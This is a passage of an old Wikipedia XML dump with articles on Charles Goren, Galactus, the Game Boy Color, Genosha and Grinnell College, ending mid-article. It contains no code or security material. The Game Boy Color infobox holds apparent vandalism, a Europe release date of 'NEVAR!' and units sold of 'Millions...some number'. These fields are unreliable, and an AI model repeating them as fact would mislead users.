      <text xml:space="preserve">'''Charles Henry Goren''' ([[March 4]], [[1901]] &amp;ndash; [[April 3]], [[1991]]) was a famous [[contract bridge|bridge]] player, [[writer]] and advocate.

==Early years==

Goren was born in [[Philadelphia]], [[Pennsylvania]], to [[Russia]]n [[Jewish]] immigrants. He earned a law degree at [[McGill University]] in [[Montreal]]. While he was attending McGill, a girlfriend laughed at his ineptness at the game of bridge, motivating him to immerse himself in a study of existing bridge materials.

When he graduated, he briefly attempted a law career in Philadelphia. However, the growing fame of [[Ely Culbertson]] prompted Goren to abandon his original career choice to pursue bridge competitions, where he attracted the attention of [[Milton Work]] (who had developed the Work Point Count System).  Goren began helping Work with his bridge articles and columns and, eventually, ghost-writing some of the material.

==Bridge contributions==

By [[1936]], Goren had begun his own bridge career and published the first of his many books on playing bridge, ''Winning Bridge Made Easy.''  Drawing on his experience with Work's system, Goren quickly became popular as an instructor and lecturer. Although he was never a particularly great player, his contributions to the game have made him one of the most important figures in the history of the game.

===Point count system===

As he continued writing, Goren began to develop his [[high card point]] count system as an improvement over the existing system of counting ''[[honor tricks]]''.  The high card point system represented a large step forward in bridge theory and quickly gained popularity due to its simplicity.  Goren and others would later refine the system to account for hand distribution, as singletons and voids can greatly increase the strength of a hand.

===Four-card suits===

Goren also worked to popularize the opening of four-card suits, in contrast to the well-known ''five card majors'' approach that has become a major feature of [[Standard American]] bidding.  Opening a four-card suit can improve the chances of the partnership identifying a four-four trump fit, and the four-card approach is still used by some experts today.  The drawback of the four-card approach is that the [[Law of Total Tricks]] is more difficult to apply in cases where it is used.

===Other contributions===

In addition to his pioneering work in bringing simple and effective bridge to everyday players, Goren also worked to popularize the [[Precision Club|Precision]] bidding method, which is one of many variants of so-called ''big club'' systems (which use an opening bid of one club to indicate a strong hand).

==Legacy==

Goren died in 1991 in [[Encino, California]], at the age of 90, but his point count approach remains the foundation for most bidding systems.  While few players &quot;play Goren&quot; exactly today, he enjoys a reputation as one of the great bridge players of his day and a skillful and spirited competitor.

[[Category:1901 births|Goren, Charles]]
[[Category:1991 deaths|Goren, Charles]]
[[Category:American non-fiction writers|Goren, Charles]]
[[Category:Bridge players|Goren, Charles]]
[[Category:Jewish American writers|Goren, Charles]]

[[pl:Charles Goren]]</text>
    </revision>
  </page>
  <page>
    <title>Geofrey Chaucer</title>
    <id>13093</id>
    <revision>
      <id>15910734</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Geoffrey Chaucer]]
</text>
    </revision>
  </page>
  <page>
    <title>Galactus</title>
    <id>13095</id>
    <revision>
      <id>41925934</id>
      <timestamp>2006-03-02T17:46:08Z</timestamp>
      <contributor>
        <username>T-1000</username>
        <id>129302</id>
      </contributor>
      <comment>/* Heralds */</comment>
      <text xml:space="preserve">{{Superherobox| &lt;!--Wikipedia:WikiProject Comics--&gt;
image=[[Image:Galactus.PNG|225px]]
|caption=Galactus&lt;br&gt;Andrea Di Vito, artist
|comic_color=background:#ff8080
|character_name=Galactus
|real_name=Galan
|publisher=[[Marvel Comics]]
|debut=''Fantastic Four'' #48 (March 1966)
|creators=[[Stan Lee]]&lt;br&gt;[[Jack Kirby]]
|alliance_color=background:#cccccc
|status=Active
|alliances=
|previous_alliances=
|aliases=Devourer of Worlds&lt;br&gt;Eater of Planets
|relatives=[[Eternity (comics)|Eternity]], [[Death (Marvel Comics)|Death]]
|powers=Imbued with the Power Cosmic which can enable any number of abilities
|}}
'''Galactus''', sometimes called the '''Devourer of Worlds''' or '''Eater of Planets''', is a [[fictional character|fictional]] [[comic book]] character, a cosmic entity within [[Marvel Comics]]' [[Marvel Universe|universe]]. Created by [[Jack Kirby]] and [[Stan Lee]], he first appeared in ''[[Fantastic Four]]'' #48, the beginning of a [[story arc]] sometimes regarded as the finest Lee/Kirby collaboration.

==Character history==
{{spoiler}}
===Rebirth===
Originally named '''Galan''' (or '''Galen''', the spelling differs on occasion), he hails from the planet Taa, and is the sole survivor of the [[Big Crunch]] of the previous [[universe]] in which Taa was located. 

A [[outer space|space]] explorer investigating the impending end of his universe, his ship approached the focal point of the Big Crunch and was promptly destroyed. Galen, the only survivor, was transformed into a cosmic entity even as the universe collapsed, after striking a deal with [[Eternity (comics)|Eternity]], who was about to be reborn in the next universe. 

After the [[Big Bang]] of the current universe, to complete his [[metamorphosis (biology)|transformation]], Galactus was encased in a [[cosmic egg]] brimming with enormous energies. After billions of years, he emerged as an entity of vast cosmic power who was also necessary for the existence of the newly formed universe.  

Galactus is considered one of the five essential entities within the Marvel Universe alongside [[Eternity (comics)|Eternity]], the personification of the universe, [[Death (Marvel Comics)|Death]], [[Infinity (Marvel Comics)|Infinity]] and Oblivion.

===The Devourer of Worlds===
Galactus wields the immeasurable '''Power Cosmic''' (indeed, he is so powerful that he must always wear his alien armor in order to contain his vast energies; were he ever to remove it, the energy thus released would destroy him and turn him into a star). However, he must feed to survive, consuming the energy of entire [[planet]]s. Towards this end, Galactus scours the universe seeking planets to sustain himself. 

Over millions of years, he has become one of the most feared beings in the universe, his vast power allowing him to lay waste to innumerable [[Extraterrestrial life|extra-terrestrial]] [[civilization]]s in his quest for sustenance.
[[Image:Sspara.png|Galactus with the Silver Surfer.|225px|Cover to ''Silver Surfer: Parable''. Art by [[Jean Giraud]], under the pseudonym &quot;Moebius.&quot;|thumb]]

Nevertheless, he is not an [[evil]] being, but rather a force of nature whose feedings are necessary for survival. It is also said that Galactus plays a necessary role in the continuum of the Universe bringing randomness, which in turn balances with order, and if he were ever destroyed another being would have to take his place in this task.

===Heralds===
He has appointed a number of entities as his [[Herald of Galactus|heralds]], imbuing them with a portion of the Power Cosmic and sending them to search for edible worlds. Most of his heralds have rebelled or betrayed him.  

Among his heralds are the Fallen One, [[Tyrant (comics)|Tyrant]], [[Silver Surfer]], [[Terrax]], [[Gladiator (Shi'ar)|Gladiator]], [[Firelord]], [[Air-Walker]], the Air-Walker robot, an Earthwoman named Frankie Raye later known as [[Nova (comics)#Frankie_Raye|Nova]], [[Morg]], [[Red Shift (comics)|Red Shift]], the Asgardian [[Destroyer (Thor)|Destroyer]] armor, [[Johnny Storm|Human Torch]], [[Dazzler]], and Stardust (his current herald).

[[Gladiator (Shi'ar)|Gladiator]] and [[Tyrant (comics)|Tyrant]] were possibly heralds, and [[Superman]] was a herald very briefly in the FF/Superman crossover.

In stories in alternate and parallel realities, he also used unknown heralds: Plasma, Dark Angel, Kryptonian, [[Golden Oldie]], the Fantastic Four, Thor, Ardina, and Starglow.

In the Ultimate Marvel storyline Gah Lak Tus, as he is known in the Ultimate Universe, has used The Ultimate version of the Silver Surfer as heralds as well. The ultimate version of the [[Vision]] was built as a warning system for the coming of Gah Lak Tus.

===Attempts to Devour the Earth===
Galactus has threatened to destroy the [[Earth]], on several occasions.  On the first, the [[Fantastic Four]] (aided by the [[Watcher (comics)|Watcher]] [[Uatu]] and by Galactus' rebellious herald, the [[Silver Surfer]]) defeated him by threatening him with the [[Ultimate Nullifier]]. Galactus vowed to never again try to harm the Earth.

Nevertheless, he has returned on several occasions, in one instance weakened enough for the Fantastic Four, the [[Avengers]] and several miscellaneous heroes to defeat him.  Rather than watch him die of hunger, Mr. Fantastic saved him, for which he later went on galactic trial.

===Temporary death===
In the ''Galactus: The Devourer'' limited series (1999-2000), Galactus was killed after a battle against the united forces of the [[Avengers (comics)|Avengers]], [[Fantastic Four]], [[Starjammers]], the [[Shi'ar]] Empire and an armada of other united planets (including even a [[Kree]] starship). He died with an ominous warning that his death would allow a great evil to surface.  After his death, Galactus' true form was revealed, that of a [[star]].

That great evil emerged in ''Fantastic Four Annual 2001'' in the form of [[Abraxas (comics)|Abraxas]], an entity that was the antithesis of Eternity. It was revealed that most of the energy that Galactus takes from planets was devoted to keeping him imprisoned. Abraxas was only defeated after it was revealed in ''Fantastic Four'' (vol. 2) #49 ([vol. 1] #478; January 2002) that Galactus was still alive. [[Roma (comics)|Roma]], [[Franklin Richards]], and [[Valeria Richards|Valeria Von Doom]] had been incubating Galactus within Eternity.

===Humanoid===
In the 2005 Fantastic Four storyline ''[[Rising Storm]]'', Galactus was separated from his cosmic energy, and reverted to the humanoid form of Galan. In tribute to &quot;the indominitible spirit of the humanoid order&quot;, Galan willingly exiled himself into an other-universal realm, in apparent hope that this would prevent or delay the Galactus-energy-being from finding him. 

This did not last long, however, and as Galactus, he encountered [[Beta Ray Bill]] shortly after.

==Alternate realities==
===Earth X===
Galactus also made an appearance in the ''[[Earth X]]'' series, which lies outside the normal Marvel [[Earth-616|Earth 616]] [[Continuity (fiction)|continuity]], making it non-canon.  According to the ''Earth X'' series, Galactus was one of the three essential entities in the Marvel Universe not because he kept Abraxas at bay, but because he kept the [[Celestials]] at bay. By destroying planets, which were really &quot;eggs&quot; of the [[Celestials]], he prevented the Celestials from overpopulating the universe. In its previous incarnation, the universe was brought to a premature end by the overpopulation of Celestials.

When the threat of the gestating Celestial within Earth was discovered, Reed Richards was contacted by [[Machine Man|X-51]] to summon Galactus and destroy the Celestial. Unfortunately, in events which parallel Earth-616, Reed had turned Galactus into a star. However, he still sent [[Black Bolt]] on a suicide mission on the Moon to send a message into space. This message brought a being who appeared to be none other than Galactus himself, who then fought and killed several Celestials before terminating the gestating Celestial. After the battle, Reed asked Galactus to remove his mask, revealing that the devourer of worlds was actually his own missing son, Franklin. The sequels to Earth X (Universe X and Paradise X) later revealed that Franklin, distraught over his mother and uncle's deaths, had fled Earth with the armor of Galactus, convinced to take on the role of the cosmic entity. As Franklin had manifested the final stage of the Celestial seed within humanity, he believed he was Galactus and became Galactus. Reed could not even call his son by name when they met again on Earth. At the end of Paradise X, after Reed inherits [[Captain Marvel (Marvel Comics)|Mar-vell's]] cosmic awareness, he states that his first act would be to rescue his son.

The original Galactus was also revealed to be connected to the [[Microverse]]. The energies of the Sword in the Star not only created the Microverse, but also empowered [[Captain Universe]] before Arcturus Rann ceded the power to Mar-vell. When the Psycho-Man conquered Homeworld with the power of hate and forced Mari to kill Arcturus Rann, the Micronauts fought their way out, stealing the Psycho-Man's Psycho-Caster. The &quot;fear&quot; effect of the Psycho-Caster drew the Man-Thing to the portal which the Micronauts escaped through; as that which knows fear (or any other strong emotion) burns at the touch of the Man-Thing, the entirety of Subatomica was set ablaze by Man-Thing's tendrils. As a result, the energy which made up Subatomica, that from the Sword in the Star, threw itself backwards in time, to before the universe existed. There, it empowered Galan of Taa, to allow him to survive the previous universe and become Galactus. While Kyle Richmond claimed that the Sword itself was sentient, X-51 contradicted him on the Moon, saying that the Star was the sentient aspect: Galactus as a star.

[[Image:ULTEXT001 cov.jpg|thumb|Cover to ''Ultimate Extinction'' #1. Art by Brandon Peterson.]]

===Ultimate Marvel===
While Galactus (called Gah Lak Tus here) has as yet only appeared in a side story of the [[Ultimate Marvel]] Universe (see below), writer [[Warren Ellis]] is currently writing a trilogy of [[limited series]] set in the Ultimate Universe that will introduce him.  The trilogy are ''[[Ultimate Nightmare]]'', ''[[Ultimate Secret]]'', and ''[[Ultimate Extinction]]''.  Gah Lak Tus is mentioned by name from the Ultimate version of the [[Vision (comics) |Vision]] during ''Ultimate Nightmare'' and is set to be introduced in ''Ultimate Extinction''.
[[Image:GahLakTus.PNG|thumb|left|Gah Lak Tus's 'Killing Tool'.  Art by Brandon Peterson.]]
He has been mentioned a few times in ''[[Ultimates|The Ultimates]]'' in the current arc, as well as alluded to by an alien visitor in other series.

It has also been revealed in the ''Official Guide to the Ultimate Marvel Universe: The Ultimates and X-Men 2005'' that Gah Lak Tus is an immense (approx. 100,000 miles long) robotic entity that targets worlds with a flesh-eating virus which destroys all life, after which the entity breaks open the dying world to its core and sucks dry all its energy, leaving a permanently lifeless husk.

{{spoiler}}

Galactus in his &quot;classic&quot; form appears at the close of issue three of the ''[[Marvel Zombies]]'' miniseries, which takes place in an alternate universe within the Ultimate Fantastic Four setting.  In this particular alternate world, virtually all Marvel superheroes and supervillians, including [[Captain America]], [[Spider-Man]], [[Iron Man]], [[The Hulk]], and [[Wolverine (comics)|Wolverine]] have been turned into flesh-eating zombies by an infectious virus, a la ''[[Resident Evil]]''. At the end of issue two of the series, the [[Silver Surfer]] appears in this Universe's New York City to herald the coming of Galactus. The Marvel Zombies, who are always hungry for new meat, attack the Silver Surfer. While the Surfer holds them off for a time, and even maims several of the zombies (to little lasting effect), they ultimately work together to capture and eat him, thereby gaining some of his powers. Immediately thereafter, Galactus appears, asking the zombies what happened to his herald. At this point, it is understood that the Zombies must now take on Galactus himself.

==Quotations==
*&quot;Of all the creatures in the vastness of the universe, there is none like me. I was present at the birth of the universe, and I shall be there at its end. Though I ravage worlds to live, I bear no malice to any living thing. I simply do what I must to survive. And why must Galactus survive? For, no matter how many worlds I devour... How many civilizations I destroy... It is my destiny to one day give back to the universe &amp;mdash; infinitely more than I have ever taken from it. So speaks Galactus.&quot;
:--Galactus, ''The Origin of Galactus'' ([[Marvel Comics|Marvel Comic]], 1996)
*&quot;I am he who is Galactus! I am he who is the power throughout a thousand thousand worlds! Mine is the will that is the word! Mine the hand that is the might! I am the then! I am the now! I am the yet to be! [...] I am him who is Galactus! My every whim is living law thoughout a thousand thousand worlds! I shall regain my fallen herald! I will choose the time! I will choose the place! Then, I will choose... the strategem! And if Earth must die that I shall live... so shall it be! For, am I not... Galactus?!!&quot;
:--Galactus, ''The Silver Surfer'' Trade Paperback (Lee/Kirby Productions, 1978)

==Influence==
[[Image:CanMonsterMovieAlbumCover.jpg|left|100px|cover of Can's ''Monster Movie'' album]]
A faceless Galactus was featured on the cover of 1969's &quot;Monster Movie,&quot; [[Can (band)|Can's]] debut album.

[[The Tick]] animated series had an episode (''Alone Together'') featuring a character named &quot;Omnipotus&quot; which was an extremely obvious parody of Galactus, down to the eating of worlds, although much less intelligent. After being shot into space, the Tick briefly becomes the herald of Omnipotus, rebelling and later convincing Omnipotus to spare Earth. He also appeared with the Tick's comic-book incarnation.

Although technically not an influence, per se, the [[Transformers (toyline)|Transformers]] character [[Unicron]] plays a very similar role in the series' mythos, even to the point of parodying his origins. However, unlike Galactus, Unicron is thoroughly evil, and is more or less considered to be the Transformers' equivalent to the [[devil]] (with his counterpart, [[Primus_(Transformers) |Primus]], being the equivalent of [[God]]).

The syndicated comic ''Brewster Rockit: Space Guy!'' has a current storyline featuring a giant humanoid alien named Cosmicus who is attempting to devour the Earth.

==Other==
Galactus appeared in the 1994 Marvel cartoon show ''Fantastic Four'' with Silver Surfer.  He also regularly appeared as a Computer animated figure in the ''Silver Surfer'' cartoon series on [[Fox Kids|FOX Kids]] Network in 1997.

In the episode of &quot;Fairly Oddparents&quot; on [[Nickelodeon (TV channel)|Nickelodeon]], called &quot;Mighty Mom and Dyno Dad&quot;, [[Timmy Turner]] wishes himself to be a great superbeing called Timactimus, the eater of planets, so he can make his parents vulnerable to magic.

In a comedic issue of Marvel's [[What If (comics)|''What If?'']] series, Galactus was banished to earth and lands outside a trailer park, suffering from amnesia. After he is discovered by a local, she declares that he looks exactly like a young Elvis Presley. Galactus/Elvis begins a music career but when he is finally confronted by a galactic being and given his memory back, he chooses to remain on Earth as the king of Rock N' Roll.

In the 1997 [[Fox Kids|FOX Kids]] cartoon &quot;Sam and Max: Freelance Police&quot;; the character of Galactus was also spoofed with in the form of the character 'Lactose the Intolerant'.

==External links==
* [[MarvelDatabase:Galactus|MDP: Galactus]] - Marvel Database Project
* [http://www.marveldirectory.com Marvel Directory] - [http://www.marveldirectory.com/individuals/g/galactus.htm Galactus]
* [http://www.knightmare6.com/faq/cosmic_entities_marvel GameFAQ's Comic Book FAQ: Marvel Cosmic Entities]


[[Category:Fantastic Four villains]]
[[Category:Marvel Comics aliens]]
[[Category:Marvel Comics cosmic entities]]

[[de:Galactus]]
[[es:Galactus]]
[[fi:Galactus]]
[[it:Galactus]]
[[pt:Galactus]]</text>
    </revision>
  </page>
  <page>
    <title>Game Boy Color</title>
    <id>13097</id>
    <revision>
      <id>42148691</id>
      <timestamp>2006-03-04T03:30:07Z</timestamp>
      <contributor>
        <username>Hbdragon88</username>
        <id>175197</id>
      </contributor>
      <comment>added infobox system</comment>
      <text xml:space="preserve">{{CVG system| title = Game Boy Color
|logo =
|image = 
|manufacturer = [[Nintendo]]
|type = [[Handheld game console]]
|generation = [[History of video games (32-bit / 64-bit era)|32-bit / 64-bit era]]
|lifespan = [[Image:Flag of Japan.svg|22px|Japan]] [[October 21]], [[1998]] &lt;br /&gt;[[Image:Flag of the United States.svg|22px|North America]] November 1998 &lt;br /&gt; [[Image:European flag.svg|22px|Europe]] NEVAR!
|media = [[Cartridge (electronics)|Cartridge]]
|conrollers =
|onlineservice =
|unitssold = Millions...some number
|topgame = 
}}
[[Image:Gameboy color collage.PNG|thumb|The Game Boy Color came in a myriad of different colors, as did earlier incarnations of the Game Boy.]]
[[Image:2809-vg gameboy color.jpg.jpg|thumb|Game Boy Colors]] 
The '''Game Boy Color''' (also referred to as '''GBC''') is [[Nintendo]]'s successor to the [[Game Boy]] and was released on [[October 21]], [[1998]] in [[Japan]] and in November 1998 in the [[United States]]. It features a color screen and is  slightly larger than the [[Game Boy#Game Boy Pocket|Game Boy Pocket]], though smaller than the original [[Game Boy]].

==History==
The Game Boy Color was a response to pressure from game developers for a new system, as they felt that the Game Boy, even in its latest incarnation, the Game Boy Pocket, was insufficient. The resultant product was backward compatible, a first for a handheld console system, and leveraged the large library of games and great installed base of the predecessor system. This became a major feature of the Game Boy line, since it allowed each new launch to begin with a significantly larger library than any of its competitors.

==Specifications==
The processor, which is a zilog z80, is twice as fast as a Game Boy's, and has three times as much memory. 

The Game Boy Color also featured an [[infrared]] communications port for wireless linking.  However, the feature was only supported in a few games, and the infrared port was dropped for the [[Game Boy Advance]] and later releases.

The console was capable of showing up to 56 different colors simultaneously on screen from its palette of 32,768, and could add basic four-color shading to games that had been developed for the original Game Boy. It could also give the sprites and backgrounds separate colors, for a total of more than four colors. However, this resulted in graphic artifacts in certain games; a sprite that was supposed to meld into the background was now colored separately, exposing the trick.

==Cartridges==
Game Boy Color games came in a clear plastic cartridge with a raised bump.  Nintendo also made black cartridges that were compatible with the Game Boy Color and the older [[Super Game Boy]] and original [[Game Boy]].  The black color distinguished these special cartidges with the gray Game Boy carts and the transparent Game Boy Color carts.  A Game Boy Color palette is built-in, making it impossible to change the palette like with old Game Boy games.

==Color palette==
When inserting an original Game Boy cartridge into the Game Boy Color, the user could choose which color set to use for the game.  During the Game Boy logo, the user could change the color by holding either the A or B button and a direction.  It was also possible to choose a black and white color scheme that preserved the original look of the game.

The palettes for original GB games played on a later system are as follows (This applies for the Game Boy Color, [[Game Boy Advance]], [[Game Boy Advance SP]], and [[Game Boy Player]]):

*Up: Brown
*Up + A: Red
*Up + B: Dark Brown
*Down: Pastel Mix
*Down + A: Orange
*Down + B: Yellow
*Left: Blue
*Left + A: Dark Blue
*Left + B: Gray
*Right: Green
*Right + A: Dark Green
*Right + B: Reverse

In addition, most Nintendo-published GB games have a special default palette, accessible by not pressing any buttons. Any game which does not have a special default palette will default to the Right + A (Dark Green) pallette instead.

==Trivia==
* The Game Boy Horror used in ''[[Luigi's Mansion]]'' is modeled after the transparent Game Boy Color.
* The last Game Boy Color games released were ''[[Harry_Potter_and_the_Chamber_of_Secrets_(video_game)|Harry Potter and the Chamber of Secrets]]'' (November 2002) in the United States; and ''[[Hamtaro|Hamtaro: Ham-Hams Unite]]'' (January 2003) in Europe.
* The last Game Boy Color game released in the United States that was also compatible with the [[Game Boy]] and [[Super Game Boy]] was ''Dragon Warrior Monsters 2'' (September 2001).  This gave the original Game Boy (1989-2001) one of the longest continous lifespans of any console, only bested by the [[Atari 2600]] (1977-1990) and the [[Neo-Geo]] (1990-2004).

==Screenshots==
&lt;center&gt;
&lt;gallery&gt;
Image:GBC Zelda Links Awakening DX.png|''[[The Legend of Zelda: Link's Awakening DX|Link's Awakening DX]]''&lt;br /&gt;[[Nintendo]] ([[1998]])
Image:GBC R-Type DX.png|''[[R-Type|R-Type DX]]''&lt;br /&gt;Bits Studio/[[Irem (company)|Irem]] ([[1999]])
Image:GBC Donkey Kong Country.png|''[[Donkey Kong Country]]''&lt;br /&gt;[[Rare (video game company)|Rare]]/[[Nintendo]] ([[2000]])
Image:GBC Metal Gear Solid.png|''[[Metal Gear: Ghost Babel|Metal Gear Solid]]''&lt;br /&gt;[[Konami]] ([[2000]])
&lt;/gallery&gt;
&lt;/center&gt;

==See also==
{{dedicated video game handheld consoles}}
* [[List of Game Boy Color games]]
* [[Game Boy Advance]]
* [[Game Boy]]
* [[Game Boy Printer]]
* [[Zilog Z80]]

{{Nintendo hardware|Game Boy Color}}

[[Category:Game Boy consoles]]
[[Category:Fifth-generation video game consoles]]

[[es:Game Boy Color]]
[[fr:Game Boy Color]]
[[ko:게임보이 칼라]]
[[it:Game Boy Color]]
[[nl:Game Boy Color]]
[[ja:ゲームボーイカラー]]
[[no:Game Boy Color]]
[[pl:Game Boy Color]]
[[pt:Game Boy Color]]
[[ru:Game Boy Color]]
[[sv:Game Boy Color]]
[[zh:Game Boy Color]]</text>
    </revision>
  </page>
  <page>
    <title>Genosha</title>
    <id>13098</id>
    <revision>
      <id>41220252</id>
      <timestamp>2006-02-25T21:48:25Z</timestamp>
      <contributor>
        <username>ChrisTheDude</username>
        <id>625916</id>
      </contributor>
      <comment>Best not to mention real world years as per the Marevl sliding timescale</comment>
      <text xml:space="preserve">'''Genosha''' is a [[fictional country|fictional]] island nation in the [[Marvel Comics]] [[Marvel Universe|universe]].  Genosha was created by [[Chris Claremont]] and was first seen in ''Uncanny X-Men'' #235.  It originally served as an [[allegory]] for [[slavery]] and later for [[South Africa]]n [[apartheid]] before becoming a mutant homeland and subsequently a disaster zone.

The island is located off the east coast of [[Africa]] and boasted a high standard of living, an excellent economy, and freedom from the political and racial turmoil that characterized neighboring nations.  However, Genosha's prosperity was built upon the enslavement of its [[Mutant (fictional)|mutant]] population.  Mutants in Genosha were the property of the state and children who were positively identified with the mutant gene were put through a process developed by [[David Moreau]], commonly known as the Genengineer, stripped of free will and made into mutates (a Marvel term for genetically-modified mutants as opposed to those who developed mutant powers naturally).  The Genengineer was also capable of modifying certain mutant abilities in order to fulfill specific labor shortages.  Citizenship in Genosha is permanent and the government does not recognize any emigration. Citizens who attempt to leave the country are tracked down and forcibly brought back to the island by the special police force known as [[Magistrates]] and mutant problems are handled by a special group known as the [[Press Gang]].

The foundations of Genoshan society has been upset in recent years due to the efforts of outside mutant interests.  In the first storyline to feature the nation, some members of the [[X-Men]] were kidnapped by Genoshan Magistrates, under the order of the Geengineer and former [[X-Factor]] ally turned mutant hater, Cameron Hodge.  Eventually, in the multi-issue, multi-title [[X-Tinction Agenda]] storyline, the X-Men and their allies rescued their teammates, [[Storm (comics)|Storm]] and [[Wolfsbane (comics)|Wolfsbane]], from Genoshan brainwashing, toppling the government and presumably killing Cameron Hodge in the process.  A new Genoshan regime that promised better treatment of mutants was put in place.  A period of general turmoil and a number of attacks by superhumans, including [[Magneto (comics)|Magneto's]] [[Acolytes (comics)|Acolytes]] who were unwilling to forgive the former Genoshan government for its crimes against mutants, followed.

The [[United Nations]] ceded the island nation to the powerful mutant [[Magneto (comics)|Magneto]], after he demanded an entire mutants-only nation. Magneto and his Acolytes managed to reestablish a modicum of peace and stability only briefly until civil war broke out between him and the remaining human population on the island led by the [[Magistrates]]. Magneto defeated the magsitrates and restored order to the island. 

Recently, the entire island was reduced to rubble and its mutant population decimated by [[Sentinels (comics)|Sentinels]] ordered by [[Cassandra Nova]]. Magneto and Xavier have since then joined forces to rebuild the island nation. A few survivors and newly arriving mutants that wish to help with the rebuilding process remain on the island. 

[[Category:Marvel Comics locations]]
[[Category:Fictional countries]]
[[Category:X-Men]]

[[fr:Genosha]]</text>
    </revision>
  </page>
  <page>
    <title>Grinnell College</title>
    <id>13104</id>
    <revision>
      <id>41889999</id>
      <timestamp>2006-03-02T11:33:51Z</timestamp>
      <contributor>
        <username>Babcockd</username>
        <id>815791</id>
      </contributor>
      <comment>Re-added heading &quot;Social Activities and Organizations,&quot; which got deleted a while ago.</comment>
      <text xml:space="preserve">{{College information |
 Width = 300 |
 TableColor = #FF2400 |
 TitleColor = black |
 Name = Grinnell College |
 Seal = Grinnell College Seal.jpg |
 SealWidth = |
 Motto =  |
 Established = [[1846]] |
 SchoolType = [[Private college|Private]] |
 Religion = none |
 CurrentPresident = [[Russell K. Osgood]] |
 Location = [[Grinnell, Iowa]], [[United States|USA]]
[http://maps.google.com/maps?q=Grinnell,+IA&amp;spn=0.060353,0.099967&amp;t=k&amp;hl=en Satellite Image]|
 Enrollment = 1500 |
 Faculty = 156 full-time
43 part-time |
 Endowment = $1.4 billion (Sept '05)|
 Campus = [[Rural]], 120 acres (486,000 m&amp;sup2;) |
 SportsTeam = Pioneers
[[Image:Honor_'G'.gif|50px|]]|
 Colors = [[Scarlet (color)|Scarlet]] and Black|
 Website = [http://www.grinnell.edu/ www.grinnell.edu]
}}


'''Grinnell College''' is a [[liberal arts college]] in [[Grinnell, Iowa|Grinnell]], [[Iowa]], [[USA]].  It was founded on [[June 10]], [[1846]], when a group of transplanted [[New England]] [[Congregationalist|Congregationalists]] with strong social-reformer backgrounds organized themselves as the Trustees of Iowa College.  Grinnell College is consistently rated as one of the top twenty liberal arts colleges in the country by the magazine [[U.S. News &amp; World Report]] and other publications.  The college has the largest endowment of any liberal arts college, with $1.4 billion as of [[2005]].

[[Russell K. Osgood]] is the current president of Grinnell College.

== History ==
Grinnell College was founded as Iowa College in [[Davenport, Iowa]], in 1846 and was known by that name until 1909 when the Board of Trustees officially adopted its current name.  Iowa College had moved from Davenport to the town of Grinnell in the mid-19th century, after difficulties with residents in Davenport forced the college to relocate.  The college was invited by [[Josiah Bushnell Grinnell]] (to whom [[Horace Greeley]] purportedly gave his famous advice, &quot;Go West, young man&quot;) to move to his newly-founded town, located at the intersection of two major railroads. Today a railroad still cuts across the college campus.

Grinnell was from its inception a progressive institution.  It was the first college west of the [[Mississippi River]] to grant a bachelor's degree and among the first to admit women and African-Americans to its course of study.  Grinnell served as a stop along the [[Underground Railway]] and [[John Brown (abolitionist)|John Brown]] stopped in Grinnell prior to his raid on [[Harpers Ferry, West Virginia]], in [[1859]].

In 1882, the campus was destroyed by a [[tornado]], or as such phenomena were referred to in those days, a [[cyclone]]. However, rebuilding began immediately and the student yearbook is today known as The Cyclone.

In the 20th century, Grinnell maintained its reputation for social action.  The College was a center of the [[Social Gospel]] reform movement and Grinnell graduates included numerous prominent members of the [[New Deal]] Administration.  The later parts of the [[1960s]] saw campus unrest and commencement was cancelled in [[1970]] after the shootings of student protesters at [[Kent State]] and [[Jackson State University]].

== Campus ==

Grinnell College is located in the town of [[Grinnell, Iowa]], roughly halfway between [[Des Moines, IA|Des Moines]] and [[Iowa City, IA|Iowa City]].  The campus features sixty-three buildings and students have access to an off-campus 365 acre (1.5 km&amp;sup2;) environmental research area.  The college is roughly subdivided into three sections: North Campus, East Campus, and South Campus.  An active railroad divides the campus.  Numerous building projects have been undertaken in recent years including a new athletics center, a performing arts center designed by [[César Pelli]], a renovation of the science building, and the Joe Rosenfield Center (scheduled for completion in 2006).

==Academics==

Grinnell is one of the few colleges in the United States with an &quot;open curriculum,&quot; meaning that students are free from general requirements, with the exception of a writing-intensive &quot;tutorial&quot; during their first year.  Grinnell offers academic programs through twenty-six major departments and ten interdisciplinary concentrations.  Popular majors include Biology, History, English, Political Science, and Economics.

An unusually high proportion of graduates go on to earn Ph.D.'s and Grinnell students have won numerous national awards including [[Rhodes Scholarships]], [[Watson Fellowships]], and [[Fulbright Scholarships]].  Recent data place Grinnell at No. 10 of all U.S. institutions for the proportion of graduates who go on to earn Ph.D. degrees and No. 15 for graduating female Ph.D. earners.  

Grinnell has been ranked in the top twenty liberal arts colleges by [[U.S. News &amp; World Report]] ever since the publication has ranked colleges; in [[2005]], Grinnell was ranked fifteenth. Also, Grinnell is one of twenty-five liberal arts colleges that ''U.S. News'' has labeled &quot;Most Selective.&quot;  [[The Wall Street Journal]] included Grinnell in their [[2003]] list of the &quot;Top 50 Feeder Schools,&quot; which recognizes the fifty American undergraduate institutions that send the highest proportion of their alumni to the top business schools, law schools, and medical schools in the United States.

Nearly 100 percent of Grinnellians who apply to either law or medical school gain admission.{{citeneeded}}

Over half of the student body at Grinnell studies abroad for a semester at some point.  Grinnell has a campus in [[London]], Grinnell-in-London, as well as Grinnell-in-Washington D.C.

==Tuition==

Grinnell's combined tuition, room, board, and fees for Fall 2005 - Spring 2006 totalled $34,814.  Tuition and fees alone were $27,504.

==Athletics==

[[Image:Grinnell_College_FB.png|right|thumb|240px|Grinnell College Football ]]

[[Image:Honor_'G'.gif|thumb|left|Grinnell Athletics &quot;Honor G&quot;]]

The school's varsity sports teams are known as the Pioneers.  They participate in eighteen intercollegiate sports at the [[NCAA]] Division III level and in the [[Midwest Conference]].  In addition, Grinnell has several club sports teams that compete in non-varsity sports such as [[waterpolo]], [[Ultimate (sport)|Ultimate]] and [[Rugby_football|rugby]]. The waterpolo team, the Wild Turkeys, plays in the Heartland division of CWPA and goes to nationals almost every year.



In February 2004, Grinnell became one of the first Division III schools to broadcast a non-championship basketball game on national television when it faced off against the [[Beloit]] Buccaneers on ESPN 2, in which Grinnell lost 86 to 85.  There has been much speculation as to why ESPN 2 would come to such a small liberal arts college; however, the official reason is due to Grinnell's unique style of playing basketball, known simply as &quot;The System.&quot; 
